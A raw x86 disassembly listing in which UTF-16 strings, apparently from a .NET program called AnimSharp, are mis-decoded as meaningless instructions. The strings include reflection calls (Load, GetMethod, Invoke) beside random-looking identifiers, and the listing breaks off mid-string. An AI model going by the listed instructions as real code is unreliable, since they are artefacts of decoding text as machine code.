40f742:	72 00                	jb     0x40f744
40f744:	69 00 70 00 53 00    	imul   $0x530070,(%eax),%eax
40f74a:	74 00                	je     0x40f74c
40f74c:	61                   	popa
40f74d:	00 74 00 75          	add    %dh,0x75(%eax,%eax,1)
40f751:	00 73 00             	add    %dh,0x0(%ebx)
40f754:	4c                   	dec    %esp
40f755:	00 61 00             	add    %ah,0x0(%ecx)
40f758:	62 00                	bound  %eax,(%eax)
40f75a:	65 00 6c 00 00       	add    %ch,%gs:0x0(%eax,%eax,1)
40f75f:	0d 53 00 74 00       	or     $0x740053,%eax
40f764:	61                   	popa
40f765:	00 74 00 75          	add    %dh,0x75(%eax,%eax,1)
40f769:	00 73 00             	add    %dh,0x0(%ebx)
40f76c:	00 1b                	add    %bl,(%ebx)
40f76e:	41                   	inc    %ecx
40f76f:	00 44 00 4b          	add    %al,0x4b(%eax,%eax,1)
40f773:	00 4a 00             	add    %cl,0x0(%edx)
40f776:	48                   	dec    %eax
40f777:	00 44 00 4a          	add    %al,0x4a(%eax,%eax,1)
40f77b:	00 4c 00 44          	add    %cl,0x44(%eax,%eax,1)
40f77f:	00 42 00             	add    %al,0x0(%edx)
40f782:	4a                   	dec    %edx
40f783:	00 44 00 42          	add    %al,0x42(%eax,%eax,1)
40f787:	00 00                	add    %al,(%eax)
40f789:	39 50 00             	cmp    %edx,0x0(%eax)
40f78c:	6c                   	insb   (%dx),%es:(%edi)
40f78d:	00 50 00             	add    %dl,0x0(%eax)
40f790:	46                   	inc    %esi
40f791:	00 56 00             	add    %dl,0x0(%esi)
40f794:	73 00                	jae    0x40f796
40f796:	44                   	inc    %esp
40f797:	00 71 00             	add    %dh,0x0(%ecx)
40f79a:	56                   	push   %esi
40f79b:	00 54 00 4a          	add    %dl,0x4a(%eax,%eax,1)
40f79f:	00 41 00             	add    %al,0x0(%ecx)
40f7a2:	62 00                	bound  %eax,(%eax)
40f7a4:	58                   	pop    %eax
40f7a5:	00 46 00             	add    %al,0x0(%esi)
40f7a8:	69 00 49 00 56 00    	imul   $0x560049,(%eax),%eax
40f7ae:	53                   	push   %ebx
40f7af:	00 49 00             	add    %cl,0x0(%ecx)
40f7b2:	76 00                	jbe    0x40f7b4
40f7b4:	6d                   	insl   (%dx),%es:(%edi)
40f7b5:	00 68 00             	add    %ch,0x0(%eax)
40f7b8:	6c                   	insb   (%dx),%es:(%edi)
40f7b9:	00 49 00             	add    %cl,0x0(%ecx)
40f7bc:	42                   	inc    %edx
40f7bd:	00 52 00             	add    %dl,0x0(%edx)
40f7c0:	54                   	push   %esp
40f7c1:	00 00                	add    %al,(%eax)
40f7c3:	09 4c 00 6f          	or     %ecx,0x6f(%eax,%eax,1)
40f7c7:	00 61 00             	add    %ah,0x0(%ecx)
40f7ca:	64 00 00             	add    %al,%fs:(%eax)
40f7cd:	13 47 00             	adc    0x0(%edi),%eax
40f7d0:	65 00 74 00 4d       	add    %dh,%gs:0x4d(%eax,%eax,1)
40f7d5:	00 65 00             	add    %ah,0x0(%ebp)
40f7d8:	74 00                	je     0x40f7da
40f7da:	68 00 6f 00 64       	push   $0x64006f00
40f7df:	00 00                	add    %al,(%eax)
40f7e1:	0f 53 00             	rcpps  (%eax),%xmm0
40f7e4:	68 00 6f 00 77       	push   $0x77006f00
40f7e9:	00 4d 00             	add    %cl,0x0(%ebp)
40f7ec:	61                   	popa
40f7ed:	00 70 00             	add    %dh,0x0(%eax)
40f7f0:	00 0d 49 00 6e 00    	add    %cl,0x6e0049
40f7f6:	76 00                	jbe    0x40f7f8
40f7f8:	6f                   	outsl  %ds:(%esi),(%dx)
40f7f9:	00 6b 00             	add    %ch,0x0(%ebx)
40f7fc:	65 00 00             	add    %al,%gs:(%eax)
40f7ff:	13 41 00             	adc    0x0(%ecx),%eax
40f802:	6e                   	outsb  %ds:(%esi),(%dx)
40f803:	00 69 00             	add    %ch,0x0(%ecx)
40f806:	6d                   	insl   (%dx),%es:(%edi)
40f807:	00 53 00             	add    %dl,0x0(%ebx)
40f80a:	68 00 61 00 72       	push   $0x72006100
40f80f:	00 70 00             	add    %dh,0x0(%eax)
40f812:	00 01                	add    %al,(%ecx)
40f814:	00 0f                	add    %cl,(%edi)
40f816:	47                   	inc    %edi
40f817:	00 65 00             	add    %ah,0x0(%ebp)
40f81a:	74 00                	je     0x40f81c
40f81c:	54                   	push   %esp
40f81d:	00 79 00             	add    %bh,0x0(%ecx)
40f820:	70 00                	jo     0x40f822
40f822:	65 00 00             	add    %al,%gs:(%eax)
40f825:	31 43 00             	xor    %eax,0x0(%ebx)
40f828:	6c                   	insb   (%dx),%es:(%edi)
40f829:	00 6f 00             	add    %ch,0x0(%edi)
40f82c:	63 00                	arpl   %eax,(%eax)
40f82e:	6b 00 43             	imul   $0x43,(%eax),%eax
40f831:	00 6f 00             	add    %ch,0x0(%edi)
40f834:	75 00                	jne    0x40f836
40f836:	6e                   	outsb  %ds:(%esi),(%dx)
40f837:	00 74 00 65          	add    %dh,0x65(%eax,%eax,1)
40f83b:	00 72 00             	add    %dh,0x0(%edx)
40f83e:	2e 00 43 00          	add    %al,%cs:0x0(%ebx)
40f842:	6c                   	insb   (%dx),%es:(%edi)
40f843:	00 6f 00             	add    %ch,0x0(%edi)
40f846:	63 00                	arpl   %eax,(%eax)
40f848:	6b 00 53             	imul   $0x53,(%eax),%eax
40f84b:	00 65 00             	add    %ah,0x0(%ebp)
40f84e:	63 00                	arpl   %eax,(%eax)
40f850:	74 00                	je     0x40f852
40f852:	6f                   	outsl  %ds:(%esi),(%dx)
40f853:	00 72 00             	add    %dh,0x0(%edx)
40f856:	00 17                	add    %dl,(%edi)
40f858:	4e                   	dec    %esi
40f859:	00 49 00             	add    %cl,0x0(%ecx)
40f85c:	4a                   	dec    %edx
40f85d:	00 53 00             	add    %dl,0x0(%ebx)
40f860:	44                   	inc    %esp
40f861:	00 42 00             	add    %al,0x0(%edx)
40f864:	49                   	dec    %ecx
40f865:	00 4f 00             	add    %cl,0x0(%edi)
40f868:	42                   	inc    %edx
40f869:	00 44 00 41          	add    %al,0x41(%eax,%eax,1)
40f86d:	00 00                	add    %al,(%eax)
40f86f:	1b 4f 00             	sbb    0x0(%edi),%ecx
40f872:	4b                   	dec    %ebx
40f873:	00 4a 00             	add    %cl,0x0(%edx)
40f876:	53                   	push   %ebx
40f877:	00 41 00             	add    %al,0x0(%ecx)
40f87a:	4f                   	dec    %edi
40f87b:	00 49 00             	add    %cl,0x0(%ecx)
40f87e:	48                   	dec    %eax
40f87f:	00 53 00             	add    %dl,0x0(%ebx)
40f882:	49                   	dec    %ecx
40f883:	00 55 00             	add    %dl,0x0(%ebp)
40f886:	41                   	inc    %ecx
40f887:	00 44 00 00          	add    %al,0x0(%eax,%eax,1)
40f88b:	3d 41 00 6e 00       	cmp    $0x6e0041,%eax
40f890:	69 00 6d 00 53 00    	imul   $0x53006d,(%eax),%eax
40f896:	68 00 61 00 72       	push   $0x72006100
40f89b:	00 70 00             	add    %dh,0x0(%eax)
40f89e:	2e 00 50 00          	add    %dl,%cs:0x0(%eax)
40f8a2:	72 00                	jb     0x40f8a4
40f8a4:	6f                   	outsl  %ds:(%esi),(%dx)
40f8a5:	00 70 00             	add    %dh,0x0(%eax)
40f8a8:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
40f8ac:	74 00                	je     0x40f8ae
40f8ae:	69 00 65 00 73 00    	imul   $0x730065,(%eax),%eax
40f8b4:	2e 00 52 00          	add    %dl,%cs:0x0(%edx)
40f8b8:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
40f8bc:	6f                   	outsl  %ds:(%esi),(%dx)
40f8bd:	00 75 00             	add    %dh,0x0(%ebp)
40f8c0:	72 00                	jb     0x40f8c2
40f8c2:	63 00                	arpl   %eax,(%eax)
40f8c4:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
40f8c8:	00 1b                	add    %bl,(%ebx)
40f8ca:	43                   	inc    %ebx
40f8cb:	00 6c 00 6f          	add    %ch,0x6f(%eax,%eax,1)
40f8cf:	00 63 00             	add    %ah,0x0(%ebx)
40f8d2:	6b 00 43             	imul   $0x43,(%eax),%eax
40f8d5:	00 6f 00             	add    %ch,0x0(%edi)
40f8d8:	75 00                	jne    0x40f8da
40f8da:	6e                   	outsb  %ds:(%esi),(%dx)
40f8db:	00 74 00 65          	add    %dh,0x65(%eax,%eax,1)
40f8df:	00 72 00             	add    %dh,0x0(%edx)
40f8e2:	34 00                	xor    $0x0,%al
40f8e4:	00 53 43             	add    %dl,0x43(%ebx)
40f8e7:	00 61 00             	add    %ah,0x0(%ecx)
40f8ea:	6e                   	outsb  %ds:(%esi),(%dx)
40f8eb:	00 6e 00             	add    %ch,0x0(%esi)
40f8ee:	6f                   	outsl  %ds:(%esi),(%dx)
40f8ef:	00 74 00 20          	add    %dh,0x20(%eax,%eax,1)
40f8f3:	00 77 00             	add    %dh,0x0(%edi)
40f8f6:	61                   	popa
40f8f7:	00 69 00             	add    %ch,0x0(%ecx)
40f8fa:	74 00                	je     0x40f8fc
40f8fc:	20 00                	and    %al,(%eax)
40f8fe:	66 00 6f 00          	data16 add %ch,0x0(%edi)
40f902:	72 00                	jb     0x40f904
40f904:	20 00                	and    %al,(%eax)
40f906:	66 00 65 00          	data16 add %ah,0x0(%ebp)
40f90a:	77 00                	ja     0x40f90c
40f90c:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
40f910:	20 00                	and    %al,(%eax)
40f912:	74 00                	je     0x40f914
40f914:	68 00 61 00 6e       	push   $0x6e006100
40f919:	00 20                	add    %ah,(%eax)
40f91b:	00 30                	add    %dh,(%eax)
40f91d:	00 20                	add    %ah,(%eax)
40f91f:	00 6d 00             	add    %ch,0x0(%ebp)
40f922:	69 00 6c 00 6c 00    	imul   $0x6c006c,(%eax),%eax
40f928:	69 00 73 00 65 00    	imul   $0x650073,(%eax),%eax
40f92e:	63 00                	arpl   %eax,(%eax)
40f930:	6f                   	outsl  %ds:(%esi),(%dx)
40f931:	00 6e 00             	add    %ch,0x0(%esi)
40f934:	64 00 73 00          	add    %dh,%fs:0x0(%ebx)
40f938:	00 4d 41             	add    %cl,0x41(%ebp)
40f93b:	00 6e 00             	add    %ch,0x0(%esi)
40f93e:	20 00                	and    %al,(%eax)
40f940:	69 00 6d 00 6d 00    	imul   $0x6d006d,(%eax),%eax
40f946:	75 00                	jne    0x40f948
40f948:	74 00                	je     0x40f94a
40f94a:	61                   	popa
40f94b:	00 62 00             	add    %ah,0x0(%edx)
40f94e:	6c                   	insb   (%dx),%es:(%edi)
40f94f:	00 65 00             	add    %ah,0x0(%ebp)
40f952:	20 00                	and    %al,(%eax)
40f954:	6f                   	outsl  %ds:(%esi),(%dx)
40f955:	00 62 00             	add    %ah,0x0(%edx)
40f958:	6a 00                	push   $0x0
40f95a:	65 00 63 00          	add    %ah,%gs:0x0(%ebx)
40f95e:	74 00                	je     0x40f960
40f960:	20 00                	and    %al,(%eax)
40f962:	63 00                	arpl   %eax,(%eax)
40f964:	61                   	popa
40f965:	00 6e 00             	add    %ch,0x0(%esi)
40f968:	6e                   	outsb  %ds:(%esi),(%dx)
40f969:	00 6f 00             	add    %ch,0x0(%edi)
40f96c:	74 00                	je     0x40f96e
40f96e:	20 00                	and    %al,(%eax)
40f970:	62 00                	bound  %eax,(%eax)
40f972:	65 00 20             	add    %ah,%gs:(%eax)
40f975:	00 61 00             	add    %ah,0x0(%ecx)
40f978:	6e                   	outsb  %ds:(%esi),(%dx)
40f979:	00 69 00             	add    %ch,0x0(%ecx)
40f97c:	6d                   	insl   (%dx),%es:(%edi)
40f97d:	00 61 00             	add    %ah,0x0(%ecx)
40f980:	74 00                	je     0x40f982
40f982:	65 00 64 00 00       	add    %ah,%gs:0x0(%eax,%eax,1)
40f987:	80 8f 54 00 68 00 65 	orb    $0x65,0x680054(%edi)
40f98e:	00 20                	add    %ah,(%eax)
40f990:	00 76 00             	add    %dh,0x0(%esi)
40f993:	61                   	popa
40f994:	00 6c 00 75          	add    %ch,0x75(%eax,%eax,1)
40f998:	00 65 00             	add    %ah,0x0(%ebp)
40f99b:	20 00                	and    %al,(%eax)
40f99d:	62 00                	bound  %eax,(%eax)
40f99f:	65 00 69 00          	add    %ch,%gs:0x0(%ecx)
40f9a3:	6e                   	outsb  %ds:(%esi),(%dx)
40f9a4:	00 67 00             	add    %ah,0x0(%edi)
40f9a7:	20 00                	and    %al,(%eax)
40f9a9:	61                   	popa
40f9aa:	00 6e 00             	add    %ch,0x0(%esi)
40f9ad:	69 00 6d 00 61 00    	imul   $0x61006d,(%eax),%eax
40f9b3:	74 00                	je     0x40f9b5
40f9b5:	65 00 64 00 20       	add    %ah,%gs:0x20(%eax,%eax,1)
40f9ba:	00 74 00 6f          	add    %dh,0x6f(%eax,%eax,1)
40f9be:	00 20                	add    %ah,(%eax)
40f9c0:	00 6d 00             	add    %ch,0x0(%ebp)
40f9c3:	75 00                	jne    0x40f9c5
40f9c5:	73 00                	jae    0x40f9c7
40f9c7:	74 00                	je     0x40f9c9
40f9c9:	20 00                	and    %al,(%eax)
40f9cb:	62 00                	bound  %eax,(%eax)
40f9cd:	65 00 20             	add    %ah,%gs:(%eax)
40f9d0:	00 74 00 68          	add    %dh,0x68(%eax,%eax,1)
40f9d4:	00 65 00             	add    %ah,0x0(%ebp)
40f9d7:	20 00                	and    %al,(%eax)
40f9d9:	73 00                	jae    0x40f9db
40f9db:	61                   	popa
40f9dc:	00 6d 00             	add    %ch,0x0(%ebp)
40f9df:	65 00 20             	add    %ah,%gs:(%eax)
40f9e2:	00 74 00 79          	add    %dh,0x79(%eax,%eax,1)
40f9e6:	00 70 00             	add    %dh,0x0(%eax)
40f9e9:	65 00 20             	add    %ah,%gs:(%eax)
40f9ec:	00 61 00             	add    %ah,0x0(%ecx)
40f9ef:	73 00                	jae    0x40f9f1
40f9f1:	20 00                	and    %al,(%eax)
40f9f3:	74 00                	je     0x40f9f5
40f9f5:	68 00 65 00 20       	push   $0x20006500
40f9fa:	00 77 00             	add    %dh,0x0(%edi)
40f9fd:	72 00                	jb     0x40f9ff
40f9ff:	61                   	popa
40fa00:	00 70 00             	add    %dh,0x0(%eax)
40fa03:	70 00                	jo     0x40fa05
40fa05:	65 00 64 00 20       	add    %ah,%gs:0x20(%eax,%eax,1)
40fa0a:	00 6f 00             	add    %ch,0x0(%edi)
40fa0d:	62 00                	bound  %eax,(%eax)
40fa0f:	6a 00                	push   $0x0
40fa11:	65 00 63 00          	add    %ah,%gs:0x0(%ebx)
40fa15:	74 00                	je     0x40fa17
40fa17:	00 6f 54             	add    %ch,0x54(%edi)
40fa1a:	00 68 00             	add    %ch,0x0(%eax)
40fa1d:	65 00 20             	add    %ah,%gs:(%eax)
40fa20:	00 70 00             	add    %dh,0x0(%eax)
40fa23:	72 00                	jb     0x40fa25
40fa25:	6f                   	outsl  %ds:(%esi),(%dx)
40fa26:	00 70 00             	add    %dh,0x0(%eax)
40fa29:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
40fa2d:	74 00                	je     0x40fa2f
40fa2f:	79 00                	jns    0x40fa31
40fa31:	20 00                	and    %al,(%eax)
40fa33:	6e                   	outsb  %ds:(%esi),(%dx)
40fa34:	00 61 00             	add    %ah,0x0(%ecx)
40fa37:	6d                   	insl   (%dx),%es:(%edi)
40fa38:	00 65 00             	add    %ah,0x0(%ebp)
40fa3b:	20 00                	and    %al,(%eax)
40fa3d:	63 00                	arpl   %eax,(%eax)
40fa3f:	61                   	popa
40fa40:	00 6e 00             	add    %ch,0x0(%esi)
40fa43:	6e                   	outsb  %ds:(%esi),(%dx)
40fa44:	00 6f 00             	add    %ch,0x0(%edi)
40fa47:	74 00                	je     0x40fa49
40fa49:	20 00                	and    %al,(%eax)
40fa4b:	62 00                	bound  %eax,(%eax)
40fa4d:	65 00 20             	add    %ah,%gs:(%eax)
40fa50:	00 6e 00             	add    %ch,0x0(%esi)
40fa53:	75 00                	jne    0x40fa55
40fa55:	6c                   	insb   (%dx),%es:(%edi)
40fa56:	00 6c 00 2c          	add    %ch,0x2c(%eax,%eax,1)
40fa5a:	00 20                	add    %ah,(%eax)
40fa5c:	00 65 00             	add    %ah,0x0(%ebp)
40fa5f:	6d                   	insl   (%dx),%es:(%edi)
40fa60:	00 70 00             	add    %dh,0x0(%eax)
40fa63:	74 00                	je     0x40fa65
40fa65:	79 00                	jns    0x40fa67
40fa67:	2c 00                	sub    $0x0,%al
40fa69:	20 00                	and    %al,(%eax)
40fa6b:	6f                   	outsl  %ds:(%esi),(%dx)
40fa6c:	00 72 00             	add    %dh,0x0(%edx)
40fa6f:	20 00                	and    %al,(%eax)
40fa71:	77 00                	ja     0x40fa73
40fa73:	68 00 69 00 74       	push   $0x74006900
40fa78:	00 65 00             	add    %ah,0x0(%ebp)
40fa7b:	73 00                	jae    0x40fa7d
40fa7d:	70 00                	jo     0x40fa7f
40fa7f:	61                   	popa
40fa80:	00 63 00             	add    %ah,0x0(%ebx)
40fa83:	65 00 2e             	add    %ch,%gs:(%esi)
40fa86:	00 00                	add    %al,(%eax)
40fa88:	43                   	inc    %ebx
40fa89:	54                   	push   %esp
40fa8a:	00 68 00             	add    %ch,0x0(%eax)
40fa8d:	65 00 20             	add    %ah,%gs:(%eax)
40fa90:	00 70 00             	add    %dh,0x0(%eax)
40fa93:	72 00                	jb     0x40fa95
40fa95:	6f                   	outsl  %ds:(%esi),(%dx)
40fa96:	00 70 00             	add    %dh,0x0(%eax)
40fa99:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
40fa9d:	74 00                	je     0x40fa9f
40fa9f:	79 00                	jns    0x40faa1
40faa1:	20 00                	and    %al,(%eax)
40faa3:	22 00                	and    (%eax),%al
40faa5:	7b 00                	jnp    0x40faa7
40faa7:	30 00                	xor    %al,(%eax)
40faa9:	7d 00                	jge    0x40faab
40faab:	22 00                	and    (%eax),%al
40faad:	20 00                	and    %al,(%eax)
40faaf:	77 00                	ja     0x40fab1
40fab1:	61                   	popa
40fab2:	00 73 00             	add    %dh,0x0(%ebx)
40fab5:	20 00                	and    %al,(%eax)
40fab7:	6e                   	outsb  %ds:(%esi),(%dx)
40fab8:	00 6f 00             	add    %ch,0x0(%edi)
40fabb:	74 00                	je     0x40fabd
40fabd:	20 00                	and    %al,(%eax)